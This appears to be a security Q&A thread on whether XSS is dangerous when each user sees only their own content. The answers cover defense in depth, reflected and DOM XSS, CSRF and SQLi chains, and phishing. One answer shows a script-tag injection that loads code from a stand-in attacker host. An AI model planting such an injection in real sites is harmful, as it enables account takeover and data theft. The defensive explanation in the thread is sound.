13

Is an XSS attack possible on a website in which all the user generated content sits behind Auth and all content is only and strictly only shown to the user that generated it in the first place?

No user generated content is ever shown to other users in its raw form, not even the admin. It's always aggregated stats and never a string.

  • What I am thinking is: what can a potential XSS attack steal if his malicious script will only be shown to this specific malicious user... his own data and cookies?? – mikegross Feb 3 at 10:28
  • 4
    It is better to edit additional details into the question rather than use comments. – TripeHound Feb 3 at 10:53
  • A malicious actor might happen to have access for a brief time over the victim machine/account. Allowing XSS would mean they can insert some data they will breach the victim account from that time onwards. Sure a bit far fetched but still a possible attack – Giacomo Alzetta Feb 5 at 9:59
28

tl/dr: Yes! Defense in depth is critical, so any XSS vulnerability is a vulnerability that needs to be fixed, regardless of whether or not a method of exploit is immediately obvious.

The Underlying Question

Whether intentional or not, there is a question behind your question that is much more important to answer. In essence what you are really asking is:

Do I need to worry about XSS if an attacker can't take advantage of it?

The answer to that is simple: you need to always worry about XSS. Any XSS vulnerability is a danger and, once known, should be fixed in accordance with best practices. This should be taken as a given even without considering specifics of your particular case. The reason is because web applications are rarely static. They change often and quickly.

Something starts life as an admin-only feature, so the developers decide to not worry about security. Six months later a change request comes from management and they want to share part of that feature with customers. The original developers are busy with something else and the new team doesn't notice that there is no XSS protection in the feature at all. As a result, when they push it out to everyone, the application gains a glaring XSS vulnerability. Stuff like that happens all the time. As a result, it's critical that basic application security is properly executed everywhere. The insecure-but-private applications of today invariably become the insecure-and-public applications of tomorrow. This will happen to you.

Finally, defense-in-depth is critical. Many real life breaches happen because an attacker finds one weakness that allows them to exploit another weakness, which leads to another weak spot, that finally leads to something juicy. "My user's only ever see their own data, so XSS doesn't matter" works perfectly fine until an attacker figures out how to inject data into another user's session. The lack of XSS protection will then allow the attacker to gain full access to the other user's data and presumably take over their account, while having XSS protection in place may have instead completely thwarted the attack.

Some Specifics

So, are there any ways in which an attacker may inject data into another user's session? There probably are! In particular:

  1. Reflected XSS (Steffen already touched on this)
  2. CSRF is a major concern: if you have an endpoint with a CSRF vulnerability, an attacker may be able to trigger a CSRF attack on another user's account, store an XSS payload in their data, and then use that XSS attack to compromise the user's account.
  3. SQLi: An attacker may be able to take advantage of an SQLi vulnerability to execute a stored XSS attack against all users' accounts, compromising everything.

That last one may seem like a bit of a stretch (simply because an SQLi attack is usually a severe problem on its own), but in the case of a write-only SQLi vulnerability it is a legitimate concern.

Summary

Having siloed user data isn't sufficient reason to be able to skimp on basic application security, because it rests on an assumption: that user's can never access each others' data. That assumption rarely holds true. If there is no XSS protection in place than an attacker only needs to find one vulnerability anywhere that allows them to inject data into another user's account in order to take it over. However, if you practice proper security everywhere, then an attacker will have to find a vulnerability that allows them to inject data and find a vulnerability that allows their XSS payload to execute. This is a much harder task and will make your users much safer.

| improve this answer | |
7

What you describe prevents only Stored XSS. But reflected XSS is still possible if cross-site requests are allowed by the server and the authentication status is transported between requests using a session cookie - both things are usually the case. And DOM XSS is even possible without cross-site requests and cookie based authentication since the request is not even sent to the server.

| improve this answer | |
7

What if a user leaves their account logged in? Normally the attacker would only have a short window of time to exploit this but if there is an XSS vulnerability, they can leave a malicious script which might just give them permanent control of the account, even after password changes.

The script does not even have to be ready at the time. An attacker can inject a

<script src="http://hackerssite.com/not_yet_existing_script.js"></script>

into the site and later make the script.

| improve this answer | |
0

The very first usage of XSS I thought of was in this very situation. Suppose the attacker wants to read all the private information stored in the user's account. The attacker crafts a phishing email that looks legitimate and even links to the real site, but the URL includes a concealed script that when it loads, screen-scrapes the webpage and sends all the information to the attacker.

| improve this answer | |

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.